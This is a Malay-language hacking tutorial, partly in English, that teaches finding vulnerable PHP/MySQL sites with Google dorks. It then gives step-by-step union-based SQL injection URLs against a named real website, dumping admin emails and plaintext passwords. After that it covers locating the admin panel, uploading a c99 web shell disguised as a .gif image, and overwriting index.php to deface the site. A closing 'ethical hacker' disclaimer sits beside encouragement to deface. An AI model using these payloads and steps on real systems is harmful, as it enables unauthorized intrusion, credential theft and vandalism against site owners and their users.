Pengenalan apa itu SQL injection
-------------------------------------
SQL stands for Structured Query Language. It is very high level language,I mean close to humans.
Like SELECT,INSERT,DELETE,UPDATE queries are used to select,add data,delete data,update data
respectively.SQL is used to
design the databses. The information is stored in databses.
SQL injection is the vulnerability occuring in database layer of application which allow attacker to see
the contents stored in database. This vulnerabilty occures when the user's input is not filtered or
improperly filtered.Example the webpages links in format
www.anything.com/something.php?something=something
=============================================================
(1).Buka "www.google.com"
=============================================================
(2).Taip salah satu code di bawah ini
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
(3).Tekan search
(4).Akan keluar beratus-ratus website yang vuln.
(5).Pilih salah satu.
===========================================================
Cuba buka laman yang anda pilih itu,anda pasti lihat error yang berlaku seperti "Warning: mysql_fetch_assoc()" atau
"Warning: mysql_fetch_array()".Itu maknanya security website ini masih lemah dan berupaya untuk
didefacedkan.Contohnya saya mendapat web seperti ini:-
P/S: dork ni korang xperlu tambah ( ' ) simbol Apostrophe (sebab korang dah dapat tgk warning, maknanya web tu dah
vuln so boleh di inject
la)============================================================Ok first kite kene
check berape column
*nak cari column ni kite kene tambah ni pada belakang url yang vuln tu ( order+by+12)11 tu contoh kita teka yang
column tu ada 11 column, tapi kalau xde error makanya dia akan kurang dari 12
http://www.ngofoundation.org.bd/message_details.php?messsageID=9+order+by+11 (no error)
http://www.ngofoundation.org.bd/message_details.php?messsageID=9+order+by+12 (error)
============================================================
starting sql injection.. (Find most vuln column untuk inject )
* Kemudian apabila kita dah tau yang ada 11 column dalam database ni so kite kene la pulak tulis query macam ni
( +union+all+select+1,2,3,4,5,6,7,8,9,10,11-- )
http://www.ngofoundation.org.bd/message_details.php?messsageID=-9+union+all+select+1,2,3,4,5,6,7,8,9,10,11--
yah !! dh boleh !! skrg, tgk no. yg BOLD (tebal) !! no. 3 kan ?? :D
itu bermaksud, column no. 3 tu la yg paling vulnerable.. ;)
============================================================
Find DB Version ( kene check dulu ni penting)
* Pada peringkat ini, kite kene check version database dulu tambahkan query ni (
+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11-- ) ( letak pada column yang paling sensitif taw)
http://www.ngofoundation.org.bd/message_details.php?messsageID=-
9+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11--
dapat yg nie kn? (5.0.91-log)
p/s : Kenapa kite kene check version MYSQL? sebab version 5.0++ ke atas selalunya sesuai method injection
macam ni, tapi kalau bawah dari v5 macam v4 kite kene tukar cara lain la
=============================================================
Find Table Name ( Cari table name )
* Cari table name supaya kita boleh cari table name untuk admin atau table yang mengandungi data yang kite nak ok? ada
2 method kat sini
Gantikan pada column vuln no 3 tadi dengan ( table_name )
1)+union+select+all+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=databa
se()--
Fungsi ni cara nak cari table satu2
contoh:http://www.ngofoundation.org.bd/message_details.php?messsageID=-
9+union+select+all+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database(
)--
2) Untuk cari semua table kita gunakan ( group_concat )
contoh:
http://www.ngofoundation.org.bd/message_details.php?messsageID=-
9+union+all+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_sch
ema=database()--
pergh, dpt banyak nyer table name.. (_ _!!) tp xpe, kita nk yg pnting jer kn? :D
kita fokus ap yg kita nk, iaitu.. admin_info
=====================================================
Find Column names (fungsi xsama seperti cari berapa bilangan column, sebab yang ni kite nak tgk nama pada column
pulak)
gunakan query ni group_concat(column_name )
http://www.ngofoundation.org.bd/message_details.php?messsageID=-
9+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,10,11+from+information_schema.columns+where+table
_schema=database()--
Ok sekarang kita dah dapat column name so ape nak buat??
p/s : utk tahu columns tu berada dlam table ap, kita tgk repeated name, dlam kes nie, repeated name ialah "id", so
maknanya, id tu sbg pemisah antara table pertama dgn kedua, nie contoh gambar hiasan
(http://2.bp.blogspot.com/_ufGdCaQ3M3k/TTV3OzgJ8nI/AAAAAAAAAHc/22ToXwESUZU/s1600/cnames.jpg)
===========================================================
.Fetching data from columns
p/s : td ak ad kata, suruh ingat admin_info kn ?? so skrg la nk guna nya.. ;)
http://www.ngofoundation.org.bd/message_details.php?messsageID=-
9+union+all+select+1,2,group_concat(email,0x3a,password),4,5,6,7,8,9,10,11+from+admin_info--
p/s : 0x3a digunakan utk meletak simbol colon atau " : " utk memisahkan email dan password..
sekarang, dah dapat admin password..
p/s : kebanyakan, password dlam bentuk md5, tp dlam kes kali nie, admin web tidak mengubah kepada md5, so lebih
mudah la utk login :)
kalau password md5, ak syorkan guna web nie utk decrypt md5
http://www.md5decrypter.co.uk
============================================================
Find Admin Panel
lpas ak cari, nie la admin panel dy..
http://www.ngofoundation.org.bd/admin/
P/S: korang boleh cari admin panel dgn tools2 yang ada kat google.
http://www.ziddu.com/download/13447800/Admin_Finder.rar.html
===========================================================
When we had successful enter admin panel
Bila berjaya masuk,anda berupaya melihat segala fail sulit atau e-mail sulit yang terdapat dalam website
berkenaan.Tetapi,tujuan kita ialah mendefaced,jadi kita beralih kepada agenda kita.Untuk mendefaced,seperti saya
sebutkan sebentar tadi,kita gunakan shell "c99.php" sebagai shell utama kita hendak mendefaced web berkenaan.Cari
apa-apa yang ditulis dalam website berkenaan upload.Jika terdapat butang yang membolehkan kita mengupload shell,ia
akan memudahkan kerja kita.Tetapi,jika tak terdapat butang yang membenarkan kita mengupload shell.Kita
harus "menipu" laman web berkenaan.Cari lagi butang yang membolehkan kita menguploadkan fail,selalunya admin hanya
dibenarkan mengupload gambar sahaja.Tetapi,tidak mengapa.Rename kembali shell "c99.php" anda
kepada"c99.php.gif".Ini akan menipu laman web berkenaan kerana laman web berkenaan akan menganggap kita cuma
mengupload gambar sahaja tetapi kita sudah mengupload shell ke website berkenaan.Buka shell berkenaan,contohnya:-
www.example.com/c99.php.gif (mengikut kepada apa extension yang anda tukar)
Bila anda buka c99.php,ia akan keluar satu page yang membolehkan kita mengawal web itu lebih daripada admin
tersebut.Ia membolehkan kita mengedit,menukar dan memadam shell yang terdapat dalam website berkenaan.Tujuan kita
adalah mengdefaced website berkenaan.Oleh itu,kita akan mengedit shell yang terdapat dalam website itu.Cari apa-apa
shell yang mungkin bernama "index.php" atau"main.php".Cari apa-apa sahaja shell yang mungkin paparan utama
website berkenaan.Contohnya,"index.php" ialah paparan utama yang keluar apabila kita membuka website
berkenaan.Jadi,shell itulah yang kita akan edit.Tekan pada "index.php" berkenaan.Akan keluar codeyang terdapat
dalam shell itu,padam semua code itu,gantikannya dengan code shell kita.Tekan save.Sekarang.Anda telah
berjaya.Cuba taip website itu untuk melihat ia berjaya atau tidak.Kalau ia berjaya,ia akan keluar paparan yang kita sudah
programkan ke dalam wesite itu.
P/S: ni tutorial yang aku combined dan edit kembali menjadi tutorial paling lengkap (pada pendapat aku la) so aku mohon
ampun dan maaf kalau ada tersalah or tersilap dalam memberikan info berdasarkan apa yang aku paham.
==========================================================
Compiled and edited by Gula2 Hacks from #Penetration, Security & Defense[PSD]
---------------------------------------------
Credit to -N30- dan APM[Angkatan Pengodam Malaysia]
------------------------------------------------------------------
Ni adalah pesanan dari -N30-
WE'RE ETHICAL HACKER!!
WE DO NOT HARM ANY WEBSITE !!
WE HACK BECAUSE WE CARE !!
WE CARE ABOUT YOUR WEBSITE SECURITY !!
DON'T HATE US !!
WE'RE SAME LIKE YOU..
BE FRIENDS WITH US !!
" AK AD LEAVE NOTE DKAT DPAN WEBSITE TU, JANGAN SIAPA2 UBAH K, AK DH AJAR KORG NIE, KIRA
BERSYUKUR LA, ITU JER AK MINTA, JANGAN UBAH AP YG AK TULIS, N KALAU KORG RASA, KORG PRO, KORG
UPLOAD LA SHELL, DEFACE MAIN PAGE, =) AK XKISAH KALAU KORG DEFACE MAIN PAGE, TP .. JANGAN
UBAH AP YG AK TULIS K!
KERJASAMA ANDA AMAT SAYA HARGAI =)'"
Pesanan: Jangan bangga dengan harta dan kekayaan, Jangan angkuh dengan ilmu didada, Jangan berniat
jahat dengan kuasa, Jangan menginaya orang yang berdosa. Kerana kita sama sebagai manusia. ^^